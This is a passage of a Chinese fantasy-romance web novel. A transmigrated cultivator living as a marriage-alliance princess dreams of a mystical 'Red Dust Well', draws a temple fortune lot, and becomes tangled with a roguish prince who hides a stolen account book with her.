这是一种平衡灵力,静息打坐之发,正好趁扶鸾还没有回来,先看看自己是何情况。
但一看,又有些意料之外。
她的灵力尚且还在,只不过不能直接用出来,一旦使用也只能化作内力。
随后,她便四处翻找东西,妆奁,书案,茶几,皆无她一直想要寻到的叩雪剑,扶鸾,纳物袋。
好在她再次翻找床榻时,发现一块白帕子,里面裹着的是她坠崖前,师尊给她的幻影珠。
此珠乃师尊珍藏许久的灵器,可以幻化为肉眼可见的人或物,随后可以观察幻影珠幻化之物的处境。
这也总比没有好,她收回袖袋随身携带。
——
“公主。”
沉郁着脸打了个招呼。
任舒映看出异样,还是明知故问:“怎么了?没有抓到人吗?”
扶鸾默默点头,觉得还是有愧于她的信任,复开口:“还请公主责罚。”
但是任舒映没有在意,伸手招呼扶鸾上前来,只问:“方才那个福玉,提到的是不是孤竹国的太子殿下?”
扶鸾听公这么一提猝然回想起来,拍头惊呼:“啊!正是,孤竹国太子殿下,”
转念想起来又觉得,此番行径得不偿失:“他为何要派人刺杀您?若是联姻失败,太子不仅要失去巽国支持,很有可能再度引起战乱。”
这说到任舒映心坎上了,她注视帘外,思忖着说出自己的猜测:“许是福玉根本不是太子的人,而是想要让我们觉得,她就是太子的人呢?”
扶鸾顿时意会,知道公主还不知道一些事,遂解释起孤竹国的内政:“公主,孤竹国有五个皇子,其中太子,二皇子,已涉入朝政,他们各自有自己的势力,
三皇子早在几年前以为出征受伤,便在王府中养山,常年深居简出,不问世事。
四皇子风流成性,素日便喜与纨绔子弟一同招猫逗狗,是出了名的城中闲散王爷。
最后五皇子年仅七八岁,还在读书中,倒是知之甚少。”
任舒映:“那有可能对我动手的也就唯有二皇子了。”
扶鸾对此也拿不准,口吻中带着一丝试探道:“公主,孤竹国比我们想象的更加复杂,其中牵扯的利益关系盘根错节,您……若是见到宫中人定莫要与人起争执。”
公主听完只是抿嘴一笑,但这个反应在扶鸾看来愈加奇怪,
任舒映其实特别想问她,难道自己是什么脾性暴躁易怒,独断专权之人吗?怎会觉得她会愚蠢到会在宫中会得罪人?
一般来说她也不会没事找事,但要是受了挤兑莫名吃了亏,她不会善罢甘休,虽不当场发作,早晚有一天还是要补偿回来。
但如今身份不一样,她如此问定然会引起扶鸾起疑。故而随意答道:“放心吧,这些事我自有主张。”
扶鸾见状,也只好怵然结束这个话头,就当她知道听进去,随即说起明日安排:“公主 ,方才孤竹国穿来飞信,有宫中之人会在宴嘉城接应,明日我们便随着宴嘉城的人一同去临城。”
临城,孤竹国皇都。这一切都过于荒谬,任舒映也只能这样,遂再无多思,悻悻吩咐:“你安排就好,我困了,先休息一会。”
扶鸾听罢作应:“公主好生休息,奴婢就在外候着,若有要事唤声即可。”
任舒映也不知明明近日休息的也挺久了,今日困的一闭眼便睡死过去。
只听一个老者声音迟迟为断,蓦然传入她耳畔,将她吵醒。
“小友?小友……小友?醒醒啊——”
任舒映睁开眼睛,恍恍惚惚爬起来,环顾四周,只见周身皆是茫茫一片云海,
自己则在一个极高的倒悬浮石上,依靠于一颗树下,郁郁葱葱团簇的密叶下一片阴影遮掩住她,凉风袭袭,落叶纷飞,晚晖落红。
任舒映一时之间不解其意,转眼看向几步前,坐在石头上的白发老者。
他手捧瓷杯,一口一口啜着雾气氤氲的茶,垂眸问:“醒了,”
“长辈……这是哪?”
任舒映眼前皆是可见的疑惑,老者闻之不答,回味一口茶,猝然起身:“过来,看看这个。”
任舒映跟上前去,只见云海下面,又一个原形的云雾漩涡。
漩涡处,金荧星散,成千上万的红线延伸至漩涡内,遥遥观之,任舒映惊愕伫立。
“小友是不是近日莫名去了一个陌生之处啊?”
老者咪起眼睛,捋须打呵。
“正是,不知长辈可否解答,为何会如此。”
老者指向流云滚滚的漩涡,悠悠答:“此乃,红尘井,红尘婆娑,繁华三千,红线至处,靡梦旖旎。”
任舒映闻之,注视着老者发蒙。
啥啊,为何她完全听不懂?
继而,老者叹息道:“罢了罢
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了,词不达意,听着云里雾里也是正常。”
她只好再问:“这红尘井,是什么地方?”
“看见那些红线了吗?”
任舒映:“莫不是牵红线?你是月老吗?”
老者弯眉,哈哈大笑:“非也,非也。红尘井啊,只收留失‘情’之人。有缘无分,红尘井中可以一一弥补。”
老者的话落在她心里,想来想去,还是觉得奇怪。
“情是什么?我……有失‘情’?”
“人情亦是情,这世间羁绊,不就是你欠我,我欠你,互相纠缠,不就难以划清界限了?”
任舒映想到还有极地雪域的事,问道:“我会一辈子待在这里吗?”
“随心而择,你要喜欢此处,死于此亦可。”
任舒映脸色打变,连声解释:“不不不,我不想待在此处,我要离开的。”
要是真在这里当一辈子什么太子妃,她得疯。
“离开也可,之不过要寻到你的红线。”
“这些红线都是形形色色的人,他们有他们失去的情,红线缠绕,唯有寻找回来,才可以离开。”
“如何寻回红线?”
老者:“就在你寻得’情‘之时。小友记住,得失俱伴生,福祸皆相依,参商永不遇,切莫强求。”
任舒映似懂非懂点点头。
“多谢长辈指点……”
话头一转,老者独自走向云海,她顿足原地,不知不觉晕倒在地。
——
“……公主,公主?”
任舒映猛地睁眼,只见扶鸾一脸好奇:“公主,你终于醒了,是不舒服吗?”
“啊?我没有啊。”
“您睡了一日,等一下洗漱后先吃点东西填腹吧,就要启程去宴嘉城了。”
任舒映才梦中悠悠转醒,一时半会没有清醒过来,淡然道:“你安排吧。”
——
宴嘉城逾距临城还有两日,尽管巽朝公主和亲队已经简行,不料还是在宴嘉城官道引起一阵哄乱。
任舒映静静待在马车内,就连车帘也不曾掀起过,扶鸾出去打听一番,回来时脸上皆是无奈:
“是一群流民,老老少少,他们不知道是和亲队,以为是哪家达官贵人,故而拥上来乞讨。”
任舒映犹豫片刻,目光不经意落在车帘一条缝隙外:“这……可有法子打发了?”
“有,领卫打算动刀子赶人。”
但她觉得这样只会引起更大的骚乱,万一流民乞讨不成,气极反倒不愿走,岂不是耽误行程?
“官不与民斗,如此行事恐只会争执不休,不妨给他们一些银两遣散吧?”
话落,扶鸾只道:“公主,咱们从简而行,嫁妆可不多,若再施舍下去,届时,岂不让临城的人看笑话,说我们巽国贫穷落破,搞不好您还会因此受欺负,招人奚落。”
“……”
任舒映其实不会在意别人的风言风语,但是听扶鸾话下也有理,不为自己,确实也该为了巽国脸面着想。
正当两人沉默想对策之时,外面忽然传来一阵杂乱的轰鸣声,似乎群马纷至沓来,扶鸾闻此动静掀开帘出去。
不消片刻,扶鸾语气轻快起来,尚未踏进马车内,大喊:“公主!来人了!宴嘉城的官员来了!”
33.姻缘签(三)
宴嘉城的官员来后,不消片刻,马车又重新驶动。
“公主,我们到宴嘉城后暂住一日。”
任舒映点头,想到自己也是在凡界,初来乍到,正好了可以解一下,随口一问:“宴嘉城可有什么好玩的吗?”
“公主,这个我早就打听好了,宴嘉城郊外有一片花池,算着时日,正好可去赏景。”
扶鸾说完紧接着道:“明日是孤竹国花灯节,家家户户呢会放花灯祈福,定然热闹非凡!”
“好,明夜咱们放花灯去!”
对凡界的节日也略有耳闻,但修界却没有逢节热闹的规矩,渺梦山亦是没有,就当是体验人间烟火罢。
——
一路安然至宴嘉城门,城主便迎面走来,笑容满面,恭敬邀她往城主府邸一去。
城主脸上堆垛笑容,语气几近恳切:“公主初来贫地,若是有什么不适的反应及时告诉下官,希望您在此可以顺心。”
任舒映干笑着,不解其意答应。
为何她总怎么感觉这城主话里有话,跟伺候刁蛮公主一般?
在城主府门口扫视四周,一个内奴急急忙忙奔出来开门迎接,随后跑到城主身侧贴起耳畔窃窃私语。
也不知说了什么,城主脸色大变,眼神仿佛还带着无奈。
任舒映被唤一声,城主满脸不好意思道:公主您在府内切莫随意乱走,还有一贵客在府内东院居住,他不喜打扰,还请见谅。”
任舒映听罢,也是颇为善解人意,含笑道:“自然。”
这个城主一听说公主是将来的太子妃,顿时不敢怠慢,立刻给她安排了东院,环境景致设施都是最好的,不料还忘了一个茬。
还有个小祖宗近日也在他东院府邸中居着,万一见公主貌美无双,顿起色心那可就完了,城主越想越心惊胆战,公主可出不了什么事啊!
念及此处,城主唤来管家,千叮万嘱多留点人在东院,出了事也可以及时来人。
扶鸾去清点和亲队物资,在去东院时便分道扬镳,她自己一个人待了片刻有些无聊,遂起身往后院花圃去看看,几个婢女叽叽喳喳说话,似是躲在后院偷懒,
她本无意管,路过时候隐约听见什么,硬生生让她顿在原地。
“听说了吗?巽国和亲公主来了。”
“我亲眼所见,可好看了,日后还是要入宫的娘娘呢。”
“……不过这个淳媱公主可是出了名的刁蛮任性,泼辣无理,这入了宫会不会四处得罪人啊?”
任舒映乍然僵视,难怪先前扶鸾一直提醒她在宫中要谨言慎行,还有那城主有意无意的话……
原来这原公主,居然是这样的脾性。
一阵笑声传来,任舒映思绪又被拉回来,只听:“你们说要是这个公主万一和那……一墙之隔的王爷碰见,会不会出事……”
“……这可不是说笑啊,公主可不能被那个王爷见到,就他那个风流性子,万一出什么事,宫中追究下来,整个城主府都担当不起。”
任舒映眸光一转,听出其中蹊跷,原来她院的隔壁是个不好得罪的王爷呢。
城主是不好直言提醒,才婉转作此说辞。
她想的不多,反正也就住一晚上,应该不会出什么意外罢?
自顾自在后院转了一会,回到自己院中,扶鸾急匆匆迎上来问:“公主,您去哪里了?我在次寻你许久,差点以为又是刺客来了。”
“无事,我一人闲无聊便四处逛逛,不必担心。”
扶鸾接着道:“公主您还是带上几个丫鬟,我方才打听到隔壁住着的贵客是个贪图美色的王爷,万一他有眼无珠,不识你身份,见您孤身一人忽起邪意可怎么办。”
明明是特别可怕的事,若是在外,便传不好的风言风语,公主定然会声名受损,遭受嗤笑,偏偏公主还是无所谓的表情,果然还是心大,扶鸾想到这越想越后怕,下定决心要像狗皮膏药黏在公主身上才好。
任舒映无奈笑,对她继续解释:“放心吧,方才没有遇到他,我这不是好好的吗?”
扶鸾却硬声:“公主,我会给你多安排几个人。”
“好吧好吧,都听你的。”
听着,扶鸾眼神越看越不对,任舒映这才想起来自己原来的脾性,清了清嗓子:“你说的有理,人越多越好,不然我还不乐意了!”
睨向扶鸾,稍微缓和脸色,又道:“公主您不必费心,扶鸾定会处理妥当,我已经备好马车,今夜您只管高兴。”
任舒映“啊”一声,问:“去哪?”
“郊外啊!外面开设了花灯池,以供您观花赏景。”
“喔噢,”
原来如此,她差点忘了,她微顿:“你带着点吃食,咱们便吃着,直接去吧,我等不及了。”
令下,扶鸾喜笑颜开,提起衣摆跑到屋子:“公主我去给您拿厚点的披风。”
——
说着这放花灯之处,虽然是在城郊,但今日还是有不少人前去,任舒映乘着马车,直至薄霭已降,暮色四垂才到。
掀起帘,她缓缓下车,现入眼帘的是灯火通明的大门,来往皆人头攒动,摩肩擦踵。
大门匾额题字苍劲,定眼一看,写着“鸿金寺”
字上金漆涂描,在暗夜红灯笼照映下,清晰可见。
说起这鸿金寺,大有来头,方圆百里也就这一号寺庙可是出了名的灵验。
不管是阖家安康,姻缘美满,仕途高升……皆可来此上香祈愿,其次便是此处虽偏僻,但造的花池也是久负盛名。
红灯花叶,湖光交辉,年年招来许多年轻男女前来游玩,至此鸿金寺香火绵延可至今。
“公主,等下入寺庙莫要走太快,我会跟丢。”
任舒映道:“你还是拉着我手吧,这样便不会走失。”
扶鸾却摇头拒绝,十分讲规矩,“不行,我方才吃了油饼,肯定会把油渍弄到您手上的。”
不是,怎么讲究啊?
任舒映就算是说不介意,扶鸾始终不肯,
“……那你牵着我袖角,反正衣物可以换。”
见此,扶鸾才终于答应。
如此喧阗之景,她还是头一回看到,不
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免觉得新鲜四处观望,许是没有注意到扶鸾被一个壮汉挤开,两人就这么不知道不觉被冲散。
任舒映反应过来无奈一笑,低声喃喃:“……果然还是走丢了。”
反正也是这样了,她只好自己往着长廊行去。
她看见几对年轻男女往一个寺庙里面去,搁这都顺道,她想了想,追上去看看好了。
到了门下,她才知道这是姻缘庙,都是祈祷姻缘美满的,但在修界可不讲究这些天命姻缘,命中注定。
往往都是合个眼缘,时不时一起去做个任务,下山历练,久而久之,感情水到渠成了,便结为道侣。
这并非她空口白话,凭据实在过多,那便是她的师兄师姐大多数这样过来。就这样定立姻缘庙下,她犹豫片刻还是走进去。
反正就当是随意问问,姑妄听之。
走进庙宇,烛灯荧然,香气阵阵。
老僧坐在月老像下,依次为香客解签。
她没有玩过,时不时瞥着前面的香客,取出一把香,点燃,雾气氤氲。供案的巨大炉鼎满满当当,她找了一个角落,伸手放下燃着的香柱。
跪拜在摆垫上,磕头,双手合十,闭着眼睛。
她简简单单模仿出来,然后拿着一个签筒,摇摇晃晃。
“啪嗒”一声,果真滑出来一个木签子。
老僧扬眉看着她,接过签子。咪起眼睛打量,良久放开手肘边的古籍,翻了好久。至手下一停,书页斑驳,字迹仍是清晰,她瞄了一眼,
上面写着:
古镜复重圆,门庭重改换。
黄泉谁犹知?携手共青云。
任舒映呆问:“这什么意思?”
“此乃破镜重圆之象,凡是劳心有贵也。”
任舒映自己也解读一会:“啊,也就是说我会和旧人再遇?”
老僧点头,眼神精锐,话锋一转,道:“不过,这只是一部分签辞,施主您还有一解辞,此卦签有锥地囚泉之象,要有割舍才可成全。”
任舒映似懂非懂:“啊……还是听不懂,可否再解释一二?”
*
老僧笑意不改:“施主,势不可去尽,话不可说尽,福不可享尽,规则不可行尽,凡事太尽,缘分势必早尽。”
任舒映只好作罢:“……好,告辞了。”
测个签还整的怎么玄乎吗?还是轮到她时,还要翻书解签?莫不是随口一说?
心事重重离开,却未见老僧眸光暗敛,意味深长望着她背影,俄顷,喟叹一声。
她踏出姻缘庙,问了路人花灯池的下落,一面观察附近游廊,缓然寻去。
路虽知晓,但是循着哄闹声才找到,相比之下,方才的姻缘庙清净肃穆,而这花灯池才是真正的热场。
花灯盏盏,于湖畔处明明灭灭,
人声不绝于耳,一群女子簇拥在她身后,口中正嚷嚷:“斗墨水榭那位公子器宇不凡,定是富家公子,反正也是鲜少出门一玩,不如去看看,到底哪位才女可入那公子的眼?”
任舒映捧着花灯,搁置水面,侧眸凝视。
34.旖旎靡梦红尘井(四)
斗墨水榭?任舒映默念,好奇往女子们渐渐远去的背影看去。
只见人群围拥处,一道熟悉的背影一晃即过,倒像是扶鸾。
她追捕着行踪跟过去,忽闻一阵丝竹声,水榭的假山流水潺淙悦耳。
原来是有人在那斗墨水榭里抚琴,任舒映走走停停一路,几个穿着锦袍的公子,手执折扇,笑意盈盈走至她前。她被迫堵在原地。沉默片刻,率先开口:
“几位公子,有何要事?”
任舒映语气生硬,话面上尽显淡漠。但他们丝毫不在意,其中一人轻浮直言问:“不知姑娘可有婚配?”
任舒映:“……有。”
她既是与孤竹国太子联姻,定是有婚配。岂料身边公子用手肘击问话的友人,目不转睛盯着她,轻蔑之色愈发明显。
“还管她是不是婚配,就算是有,她还敢冒死得罪咱们四爷不可?”
任舒映见此是招惹上色心面若冰霜,再无耐心与这些不怀好意的人交谈,敷衍答道:“我还有事,告辞。”
“哎哎,别走啊?!我们四爷盛情邀请,何不留下来赏光?”
被再次拦下来,她反复告诫自己多一事不如少一事,隐忍不发,不管什么四爷,她并无兴趣,只是皮笑肉不笑,淡然拒绝:“不了,我还有要事,下次一定。”
话落,人又走前一步,语气逼迫之意更甚:“一回生二回熟,多有往来,咱们自然愿意。今日特备好酒,若是如此拒绝,莫不拂了好意?”
所谓伸手不打笑脸人,她想也不过如此。
路过的行人见此景不禁被吸引,饶有兴趣顿足于地回去观望,任舒映脸上动了动,始终一言不发。
对方料到任舒映不敢拒绝,露出得逞的笑容:“姑娘,请吧。”
任舒映想起一事,骤然有了法子,面色有了些缓和。
……走就走。
她早就料到会被带到花灯池上游的斗墨水榭,到了之后才发现,原来被邀请而来的女子不止她一人,多是年轻貌美富家小姐,衣着华丽,只见她们有说有笑,压根看不出是被逼迫而来,反倒是更加像是自愿是。
她若有所思落座,左右两边的女子随即投射打量的视线,虽是不动声色,但还是敏锐察觉。
默不作声坐着,不知何处传来交谈声,一时之间她也无处可逃,只好小口喝水,漫不经心窥听。
“怎么四爷还不来呀,莫非是寻到了红颜知己?”
“着什么急,这不是正有小姐献艺呢。咱们就好好等着。”
这一听,大概就这么个事,这四爷的几个跟班是在为他搜罗美人,意欲何为,可想而知。
念及此处,她垂眸拧眉,偏偏她还不可暴露身份,就算是没有发生什么,这宴嘉城传宫中去,也还不是会变了意味,她这个和亲公主身份断然身败名裂。
发愁良久,无奈喟叹,若是扶鸾在便好办了,只需命城主来,也就好办。
如此,任舒映忽闻不远处人声渐消,一群人拥挤在水上廊桥,让她觉得,那传言中的四爷硬生生将佛门清净之地改成贵胄寻欢作乐的夜宴,实在荒谬。
廊桥群人,一路蜂涌,行向任舒映所在的休憩亭。这时,乍然一道惊呼,身边小姐露出惊艳之状,任舒映这才不禁抬头扫视。
女子围绕着着一个身形高挑的男人,墨发金冠,气宇轩昂,黑锦大袍加身,一派贵气之相。
她愕然僵住,目光凝固在他脸庞上。
这若不是孤竹京,她当场跳河。
怎么可能会料到孤竹京也会在此,任舒映细细观察,他似是不认识。此外还发现一丝异样,此时的孤竹京相貌相比记忆中的,
倒是青稚许多,嘴角还擒着带着一抹笑意,像极了玩世不恭的风流王爷。
这……当场毁了任舒映的三观。
兴许还能上她打量的眼神归于明目张胆,孤竹京有所发觉,默不作声转眸瞥视,一时之间两人黏着一起,意味深长。
俄顷,孤竹京眼神渐渐染上一丝困惑,眼前多了一个少女,两人视线才被隔挡。
“四爷!你终于来了,可有见到入眼的?”
少女似乎与孤竹京熟识,行举间不动声色揽上他手臂,孤竹京回过神后,但是不给少女面子,冷冷睨向少女,隐含警告,抽身径直走至主位坐下。
少女这时才有些后怕,撇嘴收回手臂。
见此,婢女颇懂眼色,齐刷刷跟上去,一个倒酒,一个剥着果皮,其余纷纷呈上琳琅满目的美食。
任舒映默默看着,腹诽道:……当真是夜宴。
孤竹京饮下一杯酒,笑对着众人说道:“诸位小姐,在下替兄择妻,若是有意,可在我这留个芳名,我好给表兄做媒啊。”
众人一听,顿时明了,起初听闻这出手阔绰的四爷大张旗鼓择妻,原以为是替自己,竟没想到是为了表兄。
且不说奇怪,这娶亲择偶,父母之命,媒妁之言。怎么也轮不到一个表弟做主啊?!
氛围一下子骤冷,孤竹京毫不在意,紧接着说:“表兄先前报军出征,打了胜仗,但伤了腿脚,如今在宫中谋得三品闲职,正值成家立业年纪,品性谦和,我亦是为了他的父母的遗愿才如此行径。”
孤竹京说的怪里怪气,任舒映自然是不信。身边的小姐却有所动容。
“这四爷的表兄战功显赫,如今从职三品,若是谈妥了,跟着过日子,说不定哪天很可能被圣上封个诰命呢?”
任舒映压根听不懂,也不知这诰命夫人有何好处,不过既然是给人牵桥搭线的事,与她肯定是无缘。
窃窃私语下,孤竹京又漫不经心把视线投射到任舒映头上,似乎在琢磨着什么。直至一个女子站出来问:“四爷,您这表兄可有什么什么爱好?好让我们姑娘有个准备啊!”
孤竹京被话语拉回思绪,遂随口作答:“表兄一介儒生,性子安静,若是会点琴棋书画常伴他侧皆可。”
那姑娘又打趣问:“四爷您呢?”
听罢,任舒映又好奇看过去,她也好奇这怪异的孤竹京究竟是喜欢何种人。
良久,孤竹京无声作笑:“四爷喜欢不正经的。”
这下,在场
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女子皆面红耳赤,羞赧不已。任舒映听罢,眸光愈加复杂。
不是,这……这孤竹京莫不是假的?!夺舍了?!这是他会说出来的?
也不知是不是他表兄当真有这么大的魅力,还是家世显赫,还真有不少小姐当众献艺。
凡界之处,不看重男女大防,只讲究以礼待人,和善共处,见此任舒映压下惊愕,按捺下来。
有花灯前凉月下,抚琴者,筝鸣顿挫,深入人心。举手投足间,温雅娴淑,一派从容之相,不愧是大家闺秀,任舒映眼睛都看直了。
连连赞叹:
可以可以,是个琴修好苗子。
随后纷纷而来吟诗作赋,执笔作画。
最后,一个蒙面女子轻移莲步,舞袖蹁跹。乍间暗香盈盈,满庭馥郁,清丽可人,招人怜爱。
任舒映眯眼看了许久,不知不觉顿生眼熟之感。
身边又有人窃窃私语起来。
“哟,这不是那孔先生家的女儿吗?她也想着来攀高枝了?”
“家境一贫如洗,跳的舞再好也没用,生来就是当二房的,四爷未必看得上她。”
任舒映听到此,咽下口水,插话道:“……敢问那个女子叫怎么?”
“你还不知道呢,就是孔黎啊,其父是个大夫,其母啊……欸,花楼的舞娘。”
任舒映又惊又喜,竟没料到孔黎也在此。虽然声名不大好,不过安然无恙就好,到时可找个时机见上一面。
孤竹京命下人将献艺的女子名字录上,眼神再度落在任舒映脸上,
频频被窥看,任舒映早已不爽:“……”
一个晚上了,这厮莫不是装不认识啊?
她亦是不甘示弱看过来,
半晌,孤竹京勾唇一笑,当众问她:“姑娘看了我一夜,莫非是有何才艺献来?”
任舒映:“?”
只见众人闻言转头看向她,任舒映干笑道:“没有,我没有。”
孤竹京动口:“我不信,你定然是有。”
“没有。”
任舒映脸上笑意未减,心中暗骂这人又想做什么?
思忖着,她越来越怀疑孤竹京在佯装不认识,实在不行,那先想一法子试探试探。
“……会用剑,但你表兄应该不喜舞刀弄剑的女子。”
孤竹京笑意愈深,对着下人下令:“去,取马车的剑,拿过来。”
闻之,下人一僵犹豫不决:“这……”
孤竹京再次催促:“还不快去?”
俄顷,下人抱着一样东西走来。走进一看,是一把黑红色的长剑被搁置于剑匣中,
撼刑?
孤竹京一副大爷看戏的神情:“你用它,给我舞个花剑看看。”
任舒映:“……”
正当她要拿剑,廊桥出一阵哄然,似乎是城中穿甲带刀官兵跑过来。
为首正身城主,其次便是她的贴身待女扶鸾。城主一见此景,差点一个趔趄跌入花灯池。
扶鸾率先跑至任舒映身边,急忙问:“小姐,您没事吧?”
35.旖旎靡梦红尘井(五)
任舒映也不好当众解释,捏着扶鸾的手安抚道:“我没事啊,就是这个四爷可能有事……”
城主看向孤竹京,一脸为难,“四爷,这位姑娘是下官府中一贵客,不知可否让她随下官来一趟……”
孤竹京眉峰微挑:“哦?既是贵客啊?”
城主讪讪连连点头,欲言又止,
孤竹京沉默须,臾看出来此女是城主也得罪不起的人后,兴意索然罢手:“城主自便。”
任舒映这才抽出身随城主离开。
一路上,城主一直都在问任舒映发生何事,可有受什么委屈。
她并无在意,轻描淡写作答后,城主担心两个主要在他的地盘掐起来,随即又解释道:“那个四爷啊,也不是好得罪的主,公主您莫要往心里头去,他虽然游手好闲,横行霸道惯了,但也没有做过颇为过分之事,”
城主两面为难,她也不好过多责备。到了城主府,便自行回去休憩。
夜半,扶鸾一直追问她不在时发生何事,话语间,一袭凉风从虚掩的窗缝涌来,任舒映打了个寒战。
“那个四爷并未为难我什么,莫要担心身份暴露之事,没有人知晓的。”
良久,扶鸾终于松下口,便去了偏房洗漱。
她一人留在屋内,发觉实在有些寒冷,便自己起身阖窗,岂料靠近窗沿,听见了淅淅沥沥的雨声,此外一股怪异的感觉蔓延至上心头。
“吱嘎。”
她行色匆匆紧锁窗门,转眸一瞬,发现了一处异样。
烛光昏暗,但地面上显然有一大滩水印,顺着湿迹一路往隔断的屏风后去。
“……”
不难看出是一个人的脚印,让她担忧的还是暗藏其中的人究竟意欲何为。
她稳定心神,目光落在屏风暗陬的角隅,心中一凛,语调冷漠道:“是谁在里面?出来!”
屏息凝神,屏风旁的烛火摇曳,一道高大的身影闻声而出,见状,任舒映惊愕得一下子脱口而出:“孤竹京!?”
话落两人皆是一愣,
任舒映暗道:遭了!
孤竹京不认识她的话,她却可以熟稔叫出名字,岂不露馅?
孤竹京饶有兴趣的看着她,又靠近她几步,眼神中带着毫不掩饰的打量:“你认识我?”
“不……不认识。”
孤竹京定是不信:“说出来,我也不会对你怎么样。”
任舒映绞尽脑汁,思忖半天,吞吞吐吐答:“城主告诉我的。”
“哦……”
孤竹京这下看起来有些相信。
不知是她都错觉,还是因为她在红尘井,孤竹京的性格显然不像先前那般内敛。反倒是话特别碎,更加让她揣摩不出此人要作何。
孤竹京问:“我们以前见过吗?为何我每次看你时,总是躲闪?”
任舒映僵笑:“啊……好像没有吧。”
分明是孤竹京频频窥视,她才看过去。这让她如何作答?
任舒映不欲被此人审讯般的问话,反道:“倒是四爷,为何出现在我屋内?”
孤竹京蓦然勾唇一笑,意味深长:“你都住我隔壁,我还不能见见邻居?”
任舒映嗤笑出声,
原来白日里在后院听到丫鬟讨论的王爷就是他,不过谁和他一墙之隔?她就暂住一日罢了。
就在她不欲多言,启口要赶人时,扶鸾叩响了她的房门,一道闷声至外传入:“公主,热水打好了……”
听到此,她情急之下,力气骤然变大,手攥在孤竹京手臂上,压低嗓音警告“你现在待会屏风后面,没有我的命令不准出来!”
孤竹京尚未反应过来,那公主已急匆匆出了寝房,扶鸾抱起一盆热气腾腾的水径直到浴房:“公主,外头出事了,据说是府中出了盗贼!”
“盗贼?!”
扶鸾观公主惊状,以为是在担忧府中家丁会擅闯进来,又告诉她方才安排的事说出来:“正是,还盗的是城主书房的东西,见他们大张旗鼓的找盗贼,许是什么贵重之物。
扶鸾一面将水倾尽,复答:“公主您不必担心,安心在此沐浴,外面都已是和亲队的待从围守,他们不敢过来的。”
“……”
她担心的是这个吗?而是孤竹京还这此处。
沉默片刻,任舒映伸手凫水:“扶鸾,这个水有些凉,你再去加一桶吧。”
扶鸾先是一顿,应声而起:“好。”
趁着被她人支走,任舒映绕回去看着躲在屏风处默默不言的人。
“你还不走?”
孤竹京摆出无奈之色,伸手指着自己腿道:“走不了,我受伤了,你看都出血了。”
顺着视线,孤竹京摸了一把,当真有血迹。
任舒映宕机一瞬,才反应过来不可置信看着他:“莫非外面所说的盗贼就是你?!”
对方淡然一笑,对此话不置可否。
任舒映急了,他要干嘛去与她何干?偏偏要躲在这里,要是被人发现,她跳进黄河都洗不清。
“你的院不就一墙之隔?为何莫名躲到我这里?!”
就在她以为是孤竹京故意而为之时,他悠悠答:“我就是受伤了才翻不了墙,而且外面都是人,我再出去岂不是自投罗网?”
任舒映:”我要沐浴了。”
“你洗你的,我是正人君子,不会乘人之危。”
“……”
这时,门外忽然传来脚步纷杂的声音,两人皆是相视一顿。
“公主在内沐浴,你们如此贸然进屋,有损名节!”
“……我们城主失物念切,不得已而为之,望公主见谅!我们就让几个婆子来看看。”
外面的话声为了说给她听,似刻意加大。任舒映瞪着对着孤竹京道:“他们要是发现了你,你可别说我们是一伙的!”
孤竹京闻之,眉宇间一派坦然,话语平稳:“公主好好配合我,他们便发现不了。”
随后孤竹京卸下一身便服藏在床榻下,随后余留一身单薄的寝衣,就这么安然躺在她床上。
任舒映跑过来:“你这是做何?”
“睡觉。”
她翻了一个白眼,是真想把这厮踹出去。
“你知不知道,这要被人看见,我们有话都说不清楚了。”
“嗯。”
扶鸾拦不住了,几个身影破门而入。
任舒映抓起衾被对着孤竹京便
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是铺头盖脸。
婆子循声而来对公主行礼,肃然道:“公主,我们也是受令而行,不会动您任何东西的。”
她也无话可说,挑眉扫视一眼,默默不语。
从书阁、浴房、小堂……来回走动,自然是并无发现,只不过眼尖的婆子,一眼就看出床上有人。
见婆子面色疑惑,一步一步走来,任舒映猝然提心吊胆。
也是,这么明显,谁看不出来啊??
孤竹京猝不及防的掀开被子,场景一下变的匪夷所思。
只见,他衣襟半敞,锁骨裸/露,墨发半垂,余留一丝一缕滑落至胸膛。所见者皆不禁起了暧昧旖旎的念头。
孤竹京眼皮半阖,懒怠支起手臂,语声暗哑问:“看够了吗?”
婆子们顿时傻眼,那能想到,会是城主千叮万嘱不可得罪的四爷。
任舒映见此,也是凝噎的话说不出来。
扶鸾出声警告:“不管你们看见什么,一旦踏出了这屋,胆敢在下面乱嚼舌根,我定让你们不会有好果子吃。”
婆子乍然回神,哪还敢待在这里,连连应是,脚底似抹油,匆匆忙忙出了院门。
扶鸾一步跨来,“公主,这……”
任舒映立刻解释:“不是你想的那样。”
孤竹京起身瞥过待女,不疾不徐道:“放心,城主那边就算他们知道也不敢多说。”
他整理好衣服,临走的时候留下一语:“东西我暂时留在此处,过段时日来取。”
闻眼扶鸾一下明了,自家公主却默不作声。好了,孤竹京的赃物就这么落在她手中了。
——
城主书房。
城主沉郁着脸:“账本,可有下落?”
家奴摇头,随即战战兢兢,斟酌良久,说出四爷出现在和亲公主房间一事:“他、他怕是把公主给、给……”
城主越听越生气,随之而来的恐惧攀附上心头,这事虽然和他没有关系,但万一这事传到宫中,那就关系大了。
和亲公主在他的眼皮子底下与一个王爷有了首尾,还丢了清白,这管办不力的帽子扣下来,他可冤枉啊。
思来想去,城主下了道死命令:“若是有人敢将此事,透露半分,当即用板子打死,不留活口。”
——
孤竹京打听清楚和亲队的路线,遂忙不迭去往鸿金寺拜访,他的表兄正在此处养伤,以账本还在公主那,他不得已只能前行一步。
一路风尘仆仆,表兄时风竹正看着孤竹京给的女子名录,听完告辞的缘由,也不多留,反劝孤竹京赶忙出发。
他这表兄随着岁数越长,身子也不大利索了,孤竹京才借着拿些巫医的药方,寻找普通人家的女子嫁给表兄冲喜招福。
不过扪心自问,他才不信这种药方,辞行前又道:“这些女子,你看看便罢了,这冲喜的法子到底还是神怪之说,哪里有大夫医治奏效。我言以至此,你好生思虑。”
翌日一早,任舒映担心一夜的事没有发生,城主还特意在私下告诉她处理事毕,也没人敢说出去。
此番,她也没有见着孤竹京人影,无奈之下只好把孤竹京留下的账本带在身边,一路赶往孤竹国临城。
36.旖旎靡梦红尘井(六)
方至临城,天色毫无征兆阴郁下来,俄顷马车停轴,淅沥落雨,孤竹皇城内不让普通的人乘车入宫道,任舒映只能携带待从步行而入。
在宫道引路的人不多,扶鸾观摩会视线落在任舒映微愣的脸上,随之压低着声问:“公主,你怎么了?”
她沉吟片刻,摆头答:“无事,就是觉得此处挺好看的……”
孤竹皇城,让她有一种说不出来的莫名熟悉之感,行走时,几位衣着华丽的宫女迈步寻来拉回思绪,在她前面停顿一下,只见他们开始交谈起来。
“公主,圣上如今有要事相商,暂时无暇召见,近日皇后娘娘一直念叨着您,咱家这就带您移步至后宫。”
